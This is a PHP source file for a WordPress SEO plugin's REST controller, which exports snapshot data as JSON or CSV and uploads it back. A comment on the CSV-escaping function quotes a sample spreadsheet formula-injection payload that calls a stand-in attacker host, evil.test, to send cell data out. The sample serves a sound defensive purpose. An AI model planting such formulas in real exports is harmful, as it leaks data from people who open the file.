| 1 |
<?php |
| 2 |
|
| 3 |
/** |
| 4 |
* Export Controller |
| 5 |
* |
| 6 |
* REST endpoints that move a ThinkRank snapshot in and out of the site as a |
| 7 |
* single portable file. |
| 8 |
* |
| 9 |
* Snapshots themselves live in wp_options (Snapshot_Store), which is fine for a |
| 10 |
* migration that starts and ends on one site but is not something a user can |
| 11 |
* carry anywhere. These two routes are the bridge: `download` serialises a |
| 12 |
* completed snapshot into one file, `upload` puts that file back into |
| 13 |
* Snapshot_Store so the existing /import/migrate loop can drain it — the |
| 14 |
* restore itself needs no new transport. |
| 15 |
* |
| 16 |
* @package ThinkRank\Admin\Importers |
| 17 |
* @since 2.2.0 |
| 18 |
*/ |
| 19 |
|
| 20 |
declare(strict_types=1); |
| 21 |
|
| 22 |
namespace ThinkRank\Admin\Importers; |
| 23 |
|
| 24 |
if (!defined('ABSPATH')) { |
| 25 |
exit; |
| 26 |
} |
| 27 |
|
| 28 |
/** |
| 29 |
* Export Controller Class |
| 30 |
* |
| 31 |
* @since 2.2.0 |
| 32 |
*/ |
| 33 |
class Export_Controller extends \WP_REST_Controller { |
| 34 |
|
| 35 |
/** |
| 36 |
* @var string |
| 37 |
*/ |
| 38 |
protected $namespace = 'thinkrank/v1'; |
| 39 |
|
| 40 |
/** |
| 41 |
* @var string |
| 42 |
*/ |
| 43 |
protected $rest_base = 'export'; |
| 44 |
|
| 45 |
/** |
| 46 |
* Envelope marker every ThinkRank export file carries. |
| 47 |
*/ |
| 48 |
public const FILE_FORMAT = 'thinkrank-export'; |
| 49 |
|
| 50 |
/** |
| 51 |
* Envelope version this build writes, and the highest it can read. |
| 52 |
* |
| 53 |
* Bump on a BREAKING change to the envelope or record shape. A file |
| 54 |
* declaring a higher version is refused rather than partially applied: a |
| 55 |
* half-restored site is worse than a clear "upgrade first". |
| 56 |
*/ |
| 57 |
public const SCHEMA_VERSION = 1; |
| 58 |
|
| 59 |
/** |
| 60 |
* Records per snapshot chunk, matching Abstract_Plugin_Exporter::$chunk_size |
| 61 |
* so an uploaded file paginates the same way a locally-produced snapshot does. |
| 62 |
*/ |
| 63 |
private const CHUNK_SIZE = 100; |
| 64 |
|
| 65 |
|
| 66 |
/** |
| 67 |
* CSV columns for the human-readable post meta view. |
| 68 |
* |
| 69 |
* @var array<string,string> Column heading => meta key ('' for computed). |
| 70 |
*/ |
| 71 |
private const CSV_COLUMNS = [ |
| 72 |
'post_id' => '', |
| 73 |
'post_title' => '', |
| 74 |
'permalink' => '', |
| 75 |
'seo_title' => '_thinkrank_seo_title', |
| 76 |
'meta_description' => '_thinkrank_meta_description', |
| 77 |
'focus_keyword' => '_thinkrank_focus_keyword', |
| 78 |
'canonical_url' => '_thinkrank_canonical_url', |
| 79 |
'robots_meta' => '_thinkrank_robots_meta', |
| 80 |
'og_title' => '_thinkrank_og_title', |
| 81 |
'og_description' => '_thinkrank_og_description', |
| 82 |
'og_image' => '_thinkrank_og_image', |
| 83 |
'twitter_title' => '_thinkrank_twitter_title', |
| 84 |
'twitter_description' => '_thinkrank_twitter_description', |
| 85 |
'twitter_image' => '_thinkrank_twitter_image', |
| 86 |
'schema_type' => '_thinkrank_selected_schema_type', |
| 87 |
]; |
| 88 |
|
| 89 |
/** |
| 90 |
* Register REST routes |
| 91 |
* |
| 92 |
* @return void |
| 93 |
*/ |
| 94 |
public function register_routes(): void { |
| 95 |
register_rest_route($this->namespace, '/' . $this->rest_base . '/download', [ |
| 96 |
[ |
| 97 |
'methods' => \WP_REST_Server::READABLE, |
| 98 |
'callback' => [$this, 'download'], |
| 99 |
'permission_callback' => [$this, 'check_permissions'], |
| 100 |
'args' => [ |
| 101 |
'format' => [ |
| 102 |
'required' => false, |
| 103 |
'type' => 'string', |
| 104 |
'enum' => ['json', 'csv'], |
| 105 |
'default' => 'json', |
| 106 |
'sanitize_callback' => 'sanitize_text_field', |
| 107 |
], |
| 108 |
// The snapshot has served its purpose once the file is in |
| 109 |
// the user's hands, and Snapshot_Store has no retention |
| 110 |
// policy — a large site leaves hundreds of option rows |
| 111 |
// behind otherwise. |
| 112 |
'cleanup' => [ |
| 113 |
'required' => false, |
| 114 |
'type' => 'boolean', |
| 115 |
'default' => true, |
| 116 |
], |
| 117 |
], |
| 118 |
], |
| 119 |
]); |
| 120 |
|
| 121 |
register_rest_route($this->namespace, '/' . $this->rest_base . '/upload', [ |
| 122 |
[ |
| 123 |
'methods' => \WP_REST_Server::CREATABLE, |
| 124 |
'callback' => [$this, 'upload'], |
| 125 |
'permission_callback' => [$this, 'check_permissions'], |
| 126 |
], |
| 127 |
]); |
| 128 |
} |
| 129 |
|
| 130 |
/** |
| 131 |
* Permission check — manage_options required |
| 132 |
* |
| 133 |
* @return bool |
| 134 |
*/ |
| 135 |
public function check_permissions(): bool { |
| 136 |
return current_user_can('manage_options'); |
| 137 |
} |
| 138 |
|
| 139 |
/** |
| 140 |
* GET /export/download — send a completed snapshot as one file. |
| 141 |
* |
| 142 |
* The browser reaches this as a plain navigation rather than an apiFetch |
| 143 |
* call, so cookie auth needs the nonce in the query string (`_wpnonce`), |
| 144 |
* which the REST server accepts alongside the X-WP-Nonce header. |
| 145 |
* |
| 146 |
* @param \WP_REST_Request $request Request object |
| 147 |
* @return \WP_REST_Response|\WP_Error |
| 148 |
*/ |
| 149 |
public function download(\WP_REST_Request $request) { |
| 150 |
$manifest = Snapshot_Store::get_manifest(Thinkrank_Exporter::SLUG); |
| 151 |
|
| 152 |
if (!$manifest || ($manifest['status'] ?? '') !== 'complete') { |
| 153 |
return new \WP_Error( |
| 154 |
'thinkrank_export_not_ready', |
| 155 |
__('No completed ThinkRank export is available. Run the export first.', 'thinkrank'), |
| 156 |
['status' => 404] |
| 157 |
); |
| 158 |
} |
| 159 |
|
| 160 |
$format = (string) $request->get_param('format'); |
| 161 |
$filename = $this->build_filename($format); |
| 162 |
|
| 163 |
// WordPress serialises REST responses as JSON. Taking over |
| 164 |
// rest_pre_serve_request is the documented way to send something else, |
| 165 |
// and it keeps the route inside the REST permission/nonce plumbing |
| 166 |
// instead of bolting the download onto admin-post.php. |
| 167 |
add_filter( |
| 168 |
'rest_pre_serve_request', |
| 169 |
function (bool $served, $result, $req, $server) use ($manifest, $format, $filename, $request): bool { |
| 170 |
// Another route's response passing through the same filter. |
| 171 |
if ($req !== $request) { |
| 172 |
return $served; |
| 173 |
} |
| 174 |
|
| 175 |
$this->send_download_headers($format, $filename); |
| 176 |
|
| 177 |
if ($format === 'csv') { |
| 178 |
$this->stream_csv($manifest); |
| 179 |
} else { |
| 180 |
$this->stream_json($manifest); |
| 181 |
} |
| 182 |
|
| 183 |
if ((bool) $request->get_param('cleanup')) { |
| 184 |
Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG); |
| 185 |
(new Import_Detector())->clear_cache(); |
| 186 |
} |
| 187 |
|
| 188 |
return true; |
| 189 |
}, |
| 190 |
10, |
| 191 |
4 |
| 192 |
); |
| 193 |
|
| 194 |
return new \WP_REST_Response(null, 200); |
| 195 |
} |
| 196 |
|
| 197 |
/** |
| 198 |
* POST /export/upload — load an export file back into Snapshot_Store. |
| 199 |
* |
| 200 |
* @param \WP_REST_Request $request Request object |
| 201 |
* @return \WP_REST_Response|\WP_Error |
| 202 |
*/ |
| 203 |
public function upload(\WP_REST_Request $request) { |
| 204 |
$files = $request->get_file_params(); |
| 205 |
$file = $files['file'] ?? null; |
| 206 |
|
| 207 |
if (!is_array($file) || !isset($file['tmp_name'])) { |
| 208 |
return new \WP_Error( |
| 209 |
'thinkrank_upload_missing_file', |
| 210 |
__('No file was uploaded. Attach the export file as the "file" field.', 'thinkrank'), |
| 211 |
['status' => 400] |
| 212 |
); |
| 213 |
} |
| 214 |
|
| 215 |
if (isset($file['error']) && (int) $file['error'] !== UPLOAD_ERR_OK) { |
| 216 |
return new \WP_Error( |
| 217 |
'thinkrank_upload_failed', |
| 218 |
__('The file could not be uploaded. It may be larger than this server allows.', 'thinkrank'), |
| 219 |
['status' => 400] |
| 220 |
); |
| 221 |
} |
| 222 |
|
| 223 |
// Checked before reading so an oversized file costs a stat, not memory. |
| 224 |
// The size comes from the upload params; falling back to a stat only |
| 225 |
// matters for a caller that assembled them by hand. |
| 226 |
// |
| 227 |
// The ceiling is the server's own upload limit rather than a number of |
| 228 |
// ours — the same bound every WordPress importer works within. A lower |
| 229 |
// invented limit would reject files the server would happily have |
| 230 |
// taken, and wp_max_upload_size() is min(upload_max_filesize, |
| 231 |
// post_max_size), so the message can name the setting that has to |
| 232 |
// change. |
| 233 |
$max_bytes = $this->get_max_upload_bytes(); |
| 234 |
$size = isset($file['size']) |
| 235 |
? (int) $file['size'] |
| 236 |
: (int) (is_readable($file['tmp_name']) ? filesize($file['tmp_name']) : 0); |
| 237 |
if ($max_bytes > 0 && $size > $max_bytes) { |
| 238 |
return new \WP_Error( |
| 239 |
'thinkrank_upload_too_large', |
| 240 |
sprintf( |
| 241 |
/* translators: %s: maximum upload size this server accepts, e.g. "64 MB". */ |
| 242 |
__('The export file is larger than the %s this server accepts. Raise the PHP upload_max_filesize and post_max_size limits, or export fewer data types at a time.', 'thinkrank'), |
| 243 |
size_format($max_bytes) |
| 244 |
), |
| 245 |
['status' => 400] |
| 246 |
); |
| 247 |
} |
| 248 |
|
| 249 |
// phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- reading an uploaded temp file, not a remote resource. |
| 250 |
$raw = file_get_contents($file['tmp_name']); |
| 251 |
if ($raw === false || $raw === '') { |
| 252 |
return new \WP_Error( |
| 253 |
'thinkrank_upload_unreadable', |
| 254 |
__('The export file could not be read.', 'thinkrank'), |
| 255 |
['status' => 400] |
| 256 |
); |
| 257 |
} |
| 258 |
|
| 259 |
$payload = json_decode($raw, true); |
| 260 |
unset($raw); |
| 261 |
|
| 262 |
$validation = $this->validate_payload($payload); |
| 263 |
if (is_wp_error($validation)) { |
| 264 |
return $validation; |
| 265 |
} |
| 266 |
|
| 267 |
$stored = $this->store_payload($payload); |
| 268 |
if (is_wp_error($stored)) { |
| 269 |
return $stored; |
| 270 |
} |
| 271 |
|
| 272 |
return new \WP_REST_Response($stored, 200); |
| 273 |
} |
| 274 |
|
| 275 |
/** |
| 276 |
* The largest upload this server accepts, in bytes. |
| 277 |
* |
| 278 |
* @return int Bytes, or 0 when the limit cannot be determined. |
| 279 |
*/ |
| 280 |
private function get_max_upload_bytes(): int { |
| 281 |
if (!function_exists('wp_max_upload_size')) { |
| 282 |
return 0; |
| 283 |
} |
| 284 |
|
| 285 |
return (int) wp_max_upload_size(); |
| 286 |
} |
| 287 |
|
| 288 |
/** |
| 289 |
* Validate an uploaded payload's envelope. |
| 290 |
* |
| 291 |
* @param mixed $payload Decoded file contents |
| 292 |
* @return true|\WP_Error |
| 293 |
*/ |
| 294 |
private function validate_payload($payload) { |
| 295 |
if (!is_array($payload)) { |
| 296 |
return new \WP_Error( |
| 297 |
'thinkrank_upload_invalid_json', |
| 298 |
__('The file is not valid JSON. Restore expects the .json export, not the CSV view.', 'thinkrank'), |
| 299 |
['status' => 400] |
| 300 |
); |
| 301 |
} |
| 302 |
|
| 303 |
if (($payload['format'] ?? '') !== self::FILE_FORMAT) { |
| 304 |
return new \WP_Error( |
| 305 |
'thinkrank_upload_wrong_format', |
| 306 |
__('This is not a ThinkRank export file.', 'thinkrank'), |
| 307 |
['status' => 400] |
| 308 |
); |
| 309 |
} |
| 310 |
|
| 311 |
$version = isset($payload['schema_version']) ? (int) $payload['schema_version'] : 0; |
| 312 |
if ($version < 1 || $version > self::SCHEMA_VERSION) { |
| 313 |
return new \WP_Error( |
| 314 |
'thinkrank_upload_unsupported_version', |
| 315 |
sprintf( |
| 316 |
/* translators: 1: file's schema version, 2: highest supported version. */ |
| 317 |
__('This export file uses format version %1$d, but this version of ThinkRank only reads up to version %2$d. Update ThinkRank and try again.', 'thinkrank'), |
| 318 |
$version, |
| 319 |
self::SCHEMA_VERSION |
| 320 |
), |
| 321 |
['status' => 400] |
| 322 |
); |
| 323 |
} |
| 324 |
|
| 325 |
// An empty `data` object is rejected rather than accepted as a no-op |
| 326 |
// snapshot: telling the user the file is "ready to restore" when it |
| 327 |
// carries nothing reads as success and restores nothing. |
| 328 |
if (!isset($payload['data']) || !is_array($payload['data']) || empty($payload['data'])) { |
| 329 |
return new \WP_Error( |
| 330 |
'thinkrank_upload_no_data', |
| 331 |
__('The export file contains no data.', 'thinkrank'), |
| 332 |
['status' => 400] |
| 333 |
); |
| 334 |
} |
| 335 |
|
| 336 |
return true; |
| 337 |
} |
| 338 |
|
| 339 |
/** |
| 340 |
* Write a validated payload into Snapshot_Store as a complete snapshot. |
| 341 |
* |
| 342 |
* @param array $payload Validated payload |
| 343 |
* @return array|\WP_Error Response body, or an error when nothing was stored |
| 344 |
*/ |
| 345 |
private function store_payload(array $payload) { |
| 346 |
// Clear first. Writing over a previous snapshot leaves any chunk pages |
| 347 |
// the new file does not reach — a smaller export after a larger one |
| 348 |
// would otherwise restore the tail of the old data too. |
| 349 |
Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG); |
| 350 |
|
| 351 |
$manifest = [ |
| 352 |
'plugin' => Thinkrank_Exporter::SLUG, |
| 353 |
'plugin_name' => 'ThinkRank', |
| 354 |
'exported_at' => (string) ($payload['exported_at'] ?? gmdate('c')), |
| 355 |
'version' => '1.0', |
| 356 |
'types' => [], |
| 357 |
'status' => 'complete', |
| 358 |
'last_migrated' => null, |
| 359 |
'migration_version' => null, |
| 360 |
// Provenance, so the UI can warn when a file came from elsewhere. |
| 361 |
'source_site_url' => (string) ($payload['site_url'] ?? ''), |
| 362 |
'source_version' => (string) ($payload['plugin_version'] ?? ''), |
| 363 |
'schema_version' => (int) $payload['schema_version'], |
| 364 |
]; |
| 365 |
|
| 366 |
foreach ($this->payload_types($payload) as $type => $data_key) { |
| 367 |
// $type is the sanitised slug the chunks are stored under; $data_key |
| 368 |
// is the key it came from in the file. Reading with the sanitised |
| 369 |
// name would miss every type whose name sanitising changed, and |
| 370 |
// drop its records while still reporting success. |
| 371 |
$records = $payload['data'][$data_key] ?? null; |
| 372 |
if (!is_array($records) || empty($records)) { |
| 373 |
continue; |
| 374 |
} |
| 375 |
|
| 376 |
// array_values so a JSON object with numeric string keys still |
| 377 |
// chunks as a list. |
| 378 |
$pages = array_chunk(array_values($records), self::CHUNK_SIZE); |
| 379 |
foreach ($pages as $index => $page_records) { |
| 380 |
Snapshot_Store::write_chunk(Thinkrank_Exporter::SLUG, $type, $index + 1, $page_records); |
| 381 |
} |
| 382 |
|
| 383 |
$manifest['types'][$type] = [ |
| 384 |
'total_records' => count($records), |
| 385 |
'total_chunks' => count($pages), |
| 386 |
]; |
| 387 |
} |
| 388 |
|
| 389 |
// Nothing landed. The envelope validated, so the file looked like ours, |
| 390 |
// but every type in it was empty or unreadable — saying "ready to |
| 391 |
// restore" here would read as success and restore nothing, which is the |
| 392 |
// same failure the empty-`data` check above exists to prevent. |
| 393 |
if (empty($manifest['types'])) { |
| 394 |
Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG); |
| 395 |
|
| 396 |
return new \WP_Error( |
| 397 |
'thinkrank_upload_no_records', |
| 398 |
__('The export file carries no records this version can read. It may have been produced by a newer ThinkRank, or edited by hand.', 'thinkrank'), |
| 399 |
['status' => 400] |
| 400 |
); |
| 401 |
} |
| 402 |
|
| 403 |
Snapshot_Store::write_manifest(Thinkrank_Exporter::SLUG, $manifest); |
| 404 |
(new Import_Detector())->clear_cache(); |
| 405 |
|
| 406 |
return [ |
| 407 |
'status' => 'complete', |
| 408 |
'message' => __('Export file loaded. Ready to restore.', 'thinkrank'), |
| 409 |
'manifest' => $manifest, |
| 410 |
]; |
| 411 |
} |
| 412 |
|
| 413 |
/** |
| 414 |
* Types to store from an uploaded file. |
| 415 |
* |
| 416 |
* Everything the file carries, not just what is registered here. A file |
| 417 |
* exported on a Pro site and uploaded on a free one would otherwise lose |
| 418 |
* Pro's records at the door — and the restore side deliberately leaves |
| 419 |
* records it has no handler for sitting in the snapshot, so that a later |
| 420 |
* Pro activation can drain the same file. Dropping them here would make |
| 421 |
* that promise a lie. |
| 422 |
* |
| 423 |
* Registered types come first so the restore runs in the usual order. |
| 424 |
* |
| 425 |
* @param array $payload Validated payload |
| 426 |
* @return array<string,string> Sanitised type slug => the key it has in the file |
| 427 |
*/ |
| 428 |
private function payload_types(array $payload): array { |
| 429 |
// The slug becomes an option name via Snapshot_Store, so a hand-edited |
| 430 |
// file must not be able to steer where the chunks land. The original key |
| 431 |
// is carried alongside it because that is what the records are filed |
| 432 |
// under in `data` — sanitising is for the destination, not the lookup. |
| 433 |
$present = []; |
| 434 |
foreach (array_keys((array) $payload['data']) as $key) { |
| 435 |
$slug = sanitize_key((string) $key); |
| 436 |
// First one wins, so two keys that sanitise alike cannot have the |
| 437 |
// second silently overwrite the first's chunks. |
| 438 |
if ($slug !== '' && !isset($present[$slug])) { |
| 439 |
$present[$slug] = (string) $key; |
| 440 |
} |
| 441 |
} |
| 442 |
|
| 443 |
$ordered = []; |
| 444 |
foreach (Thinkrank_Exporter::get_exportable_types() as $type) { |
| 445 |
if (isset($present[$type])) { |
| 446 |
$ordered[$type] = $present[$type]; |
| 447 |
unset($present[$type]); |
| 448 |
} |
| 449 |
} |
| 450 |
|
| 451 |
// Union rather than array_merge: these keys are type slugs, and |
| 452 |
// array_merge would renumber any that look like integers. |
| 453 |
return $ordered + $present; |
| 454 |
} |
| 455 |
|
| 456 |
/** |
| 457 |
* Stream the snapshot as one JSON document. |
| 458 |
* |
| 459 |
* Written piece by piece rather than assembled into an array and encoded in |
| 460 |
* one go: on a large site the whole snapshot does not need to exist in |
| 461 |
* memory at once, and only a chunk does. |
| 462 |
* |
| 463 |
* @param array $manifest Snapshot manifest |
| 464 |
* @return void |
| 465 |
*/ |
| 466 |
private function stream_json(array $manifest): void { |
| 467 |
$envelope = $this->build_envelope($manifest); |
| 468 |
|
| 469 |
// Encode the envelope, then splice the streamed data in where the |
| 470 |
// placeholder sits, so the header fields stay properly escaped. |
| 471 |
$header = wp_json_encode($envelope); |
| 472 |
// Drop the closing brace; the data object and the brace are appended below. |
| 473 |
echo substr((string) $header, 0, -1); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- JSON document, not markup. |
| 474 |
echo ',"data":{'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 475 |
|
| 476 |
$first_type = true; |
| 477 |
foreach (array_keys($manifest['types'] ?? []) as $type) { |
| 478 |
if (!$this->type_has_records($manifest, (string) $type)) { |
| 479 |
continue; |
| 480 |
} |
| 481 |
|
| 482 |
echo $first_type ? '' : ','; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 483 |
echo wp_json_encode((string) $type) . ':['; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 484 |
$first_type = false; |
| 485 |
|
| 486 |
$first_record = true; |
| 487 |
foreach ($this->read_records($manifest, (string) $type) as $record) { |
| 488 |
echo $first_record ? '' : ','; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 489 |
echo (string) wp_json_encode($record); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 490 |
$first_record = false; |
| 491 |
} |
| 492 |
|
| 493 |
echo ']'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 494 |
} |
| 495 |
|
| 496 |
echo '}}'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped |
| 497 |
} |
| 498 |
|
| 499 |
/** |
| 500 |
* Stream the post meta as CSV. |
| 501 |
* |
| 502 |
* A readable view of the data, not a restore format — restore is JSON only. |
| 503 |
* That is the point of it: it is what a user takes to a spreadsheet, or to |
| 504 |
* another plugin's importer, and it is why ThinkRank does not need to own a |
| 505 |
* mapping into anyone else's meta keys. |
| 506 |
* |
| 507 |
* @param array $manifest Snapshot manifest |
| 508 |
* @return void |
| 509 |
*/ |
| 510 |
private function stream_csv(array $manifest): void { |
| 511 |
$handle = fopen('php://output', 'w'); |
| 512 |
if ($handle === false) { |
| 513 |
return; |
| 514 |
} |
| 515 |
|
| 516 |
fputcsv($handle, array_keys(self::CSV_COLUMNS)); |
| 517 |
|
| 518 |
foreach ($this->read_records($manifest, 'postmeta') as $record) { |
| 519 |
$post_id = (int) ($record['object_id'] ?? 0); |
| 520 |
$meta = (array) ($record['data'] ?? []); |
| 521 |
$row = []; |
| 522 |
|
| 523 |
foreach (self::CSV_COLUMNS as $column => $meta_key) { |
| 524 |
if ($column === 'post_id') { |
| 525 |
$row[] = $post_id; |
| 526 |
continue; |
| 527 |
} |
| 528 |
if ($column === 'post_title') { |
| 529 |
$row[] = $post_id ? (string) get_the_title($post_id) : ''; |
| 530 |
continue; |
| 531 |
} |
| 532 |
if ($column === 'permalink') { |
| 533 |
$row[] = $post_id ? (string) get_permalink($post_id) : ''; |
| 534 |
continue; |
| 535 |
} |
| 536 |
|
| 537 |
$row[] = $this->stringify_for_csv($meta[$meta_key] ?? ''); |
| 538 |
} |
| 539 |
|
| 540 |
// Escaped at the point of writing so every column is covered — the |
| 541 |
// computed ones (post title, permalink) carry user input too. |
| 542 |
fputcsv($handle, array_map([$this, 'escape_csv_cell'], $row)); |
| 543 |
} |
| 544 |
|
| 545 |
fclose($handle); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- php://output stream, not a filesystem path; WP_Filesystem has no equivalent. |
| 546 |
} |
| 547 |
|
| 548 |
/** |
| 549 |
* Yield every record of a type, one chunk at a time. |
| 550 |
* |
| 551 |
* @param array $manifest Snapshot manifest |
| 552 |
* @param string $type Data type |
| 553 |
* @return \Generator |
| 554 |
*/ |
| 555 |
private function read_records(array $manifest, string $type): \Generator { |
| 556 |
$total_chunks = (int) ($manifest['types'][$type]['total_chunks'] ?? 0); |
| 557 |
|
| 558 |
for ($page = 1; $page <= $total_chunks; $page++) { |
| 559 |
$chunk = Snapshot_Store::read_chunk(Thinkrank_Exporter::SLUG, $type, $page); |
| 560 |
if (empty($chunk)) { |
| 561 |
continue; |
| 562 |
} |
| 563 |
|
| 564 |
foreach ($chunk as $record) { |
| 565 |
yield $record; |
| 566 |
} |
| 567 |
} |
| 568 |
} |
| 569 |
|
| 570 |
/** |
| 571 |
* Whether a type belongs in the file at all. |
| 572 |
* |
| 573 |
* The snapshot manifest records a chunk page for a type even when the page |
| 574 |
* held no records (update_manifest() keys total_chunks off the page number, |
| 575 |
* not the count), so an untouched type shows up as |
| 576 |
* `total_records: 0, total_chunks: 1`. Writing that into the file would |
| 577 |
* advertise data the file does not contain. |
| 578 |
* |
| 579 |
* @param array $manifest Snapshot manifest |
| 580 |
* @param string $type Data type |
| 581 |
* @return bool |
| 582 |
*/ |
| 583 |
private function type_has_records(array $manifest, string $type): bool { |
| 584 |
if (!in_array($type, Thinkrank_Exporter::get_exportable_types(), true)) { |
| 585 |
return false; |
| 586 |
} |
| 587 |
|
| 588 |
return (int) ($manifest['types'][$type]['total_records'] ?? 0) > 0; |
| 589 |
} |
| 590 |
|
| 591 |
/** |
| 592 |
* Build the file envelope (everything but `data`). |
| 593 |
* |
| 594 |
* @param array $manifest Snapshot manifest |
| 595 |
* @return array |
| 596 |
*/ |
| 597 |
private function build_envelope(array $manifest): array { |
| 598 |
$types = []; |
| 599 |
foreach ((array) ($manifest['types'] ?? []) as $type => $info) { |
| 600 |
if (!$this->type_has_records($manifest, (string) $type)) { |
| 601 |
continue; |
| 602 |
} |
| 603 |
|
| 604 |
$types[$type] = [ |
| 605 |
'total_records' => (int) ($info['total_records'] ?? 0), |
| 606 |
'total_chunks' => (int) ($info['total_chunks'] ?? 0), |
| 607 |
]; |
| 608 |
} |
| 609 |
|
| 610 |
return [ |
| 611 |
'format' => self::FILE_FORMAT, |
| 612 |
'schema_version' => self::SCHEMA_VERSION, |
| 613 |
'plugin_version' => defined('THINKRANK_VERSION') ? THINKRANK_VERSION : '', |
| 614 |
'site_url' => home_url(), |
| 615 |
'exported_at' => (string) ($manifest['exported_at'] ?? gmdate('c')), |
| 616 |
'types' => $types, |
| 617 |
]; |
| 618 |
} |
| 619 |
|
| 620 |
/** |
| 621 |
* Neutralise a spreadsheet formula in a CSV cell. |
| 622 |
* |
| 623 |
* Excel, LibreOffice and Sheets treat a cell opening with `=`, `+`, `-` or |
| 624 |
* `@` as a formula, so a post whose SEO title is |
| 625 |
* `=HYPERLINK("http://evil.test?x="&A1,"click")` runs on open. The values |
| 626 |
* here are not the exporting admin's own: SEO titles and post titles are |
| 627 |
* editable by contributors and editors, and the admin is the one who |
| 628 |
* downloads the file — so the cell crosses a privilege boundary. |
| 629 |
* |
| 630 |
* Leading tab and carriage return are included because a spreadsheet strips |
| 631 |
* them and then reads the character underneath as the first one. |
| 632 |
* |
| 633 |
* A leading apostrophe is the standard neutraliser: spreadsheets read the |
| 634 |
* cell as text and do not display the quote. |
| 635 |
* |
| 636 |
* A plain number is let through: `-5` opens with a trigger character but is |
| 637 |
* no formula, and quoting it would land the value in the sheet as text. |
| 638 |
* Nothing in CSV_COLUMNS is numeric today, so this only keeps a future |
| 639 |
* column honest — `-5+cmd|...` is not numeric and is still escaped. |
| 640 |
* |
| 641 |
* @param mixed $value Cell value |
| 642 |
* @return string |
| 643 |
*/ |
| 644 |
private function escape_csv_cell($value): string { |
| 645 |
$value = (string) $value; |
| 646 |
|
| 647 |
if ($value === '' || is_numeric($value)) { |
| 648 |
return $value; |
| 649 |
} |
| 650 |
|
| 651 |
return in_array($value[0], ['=', '+', '-', '@', "\t", "\r"], true) |
| 652 |
? "'" . $value |
| 653 |
: $value; |
| 654 |
} |
| 655 |
|
| 656 |
/** |
| 657 |
* Flatten a meta value into a single CSV cell. |
| 658 |
* |
| 659 |
* @param mixed $value Meta value |
| 660 |
* @return string |
| 661 |
*/ |
| 662 |
private function stringify_for_csv($value): string { |
| 663 |
if (is_string($value)) { |
| 664 |
return $value; |
| 665 |
} |
| 666 |
|
| 667 |
if (is_scalar($value)) { |
| 668 |
return (string) $value; |
| 669 |
} |
| 670 |
|
| 671 |
if ($value === null) { |
| 672 |
return ''; |
| 673 |
} |
| 674 |
|
| 675 |
return (string) wp_json_encode($value); |
| 676 |
} |
| 677 |
|
| 678 |
/** |
| 679 |
* Build the download filename. |
| 680 |
* |
| 681 |
* @param string $format File format |
| 682 |
* @return string |
| 683 |
*/ |
| 684 |
private function build_filename(string $format): string { |
| 685 |
$host = wp_parse_url(home_url(), PHP_URL_HOST); |
| 686 |
$host = sanitize_file_name((string) ($host ?: 'site')); |
| 687 |
|
| 688 |
return sprintf('thinkrank-export-%s-%s.%s', $host, gmdate('Y-m-d'), $format === 'csv' ? 'csv' : 'json'); |
| 689 |
} |
| 690 |
|
| 691 |
/** |
| 692 |
* Send the file download headers. |
| 693 |
* |
| 694 |
* @param string $format File format |
| 695 |
* @param string $filename Download filename |
| 696 |
* @return void |
| 697 |
*/ |
| 698 |
private function send_download_headers(string $format, string $filename): void { |
| 699 |
if (headers_sent()) { |
| 700 |
return; |
| 701 |
} |
| 702 |
|
| 703 |
header('Content-Type: ' . ($format === 'csv' ? 'text/csv; charset=utf-8' : 'application/json; charset=utf-8')); |
| 704 |
header('Content-Disposition: attachment; filename="' . $filename . '"'); |
| 705 |
// The payload can contain every SEO setting on the site; it must not sit |
| 706 |
// in a proxy or browser cache. |
| 707 |
header('Cache-Control: no-store, no-cache, must-revalidate'); |
| 708 |
header('Pragma: no-cache'); |
| 709 |
header('X-Content-Type-Options: nosniff'); |
| 710 |
} |
| 711 |
} |
| 712 |
|
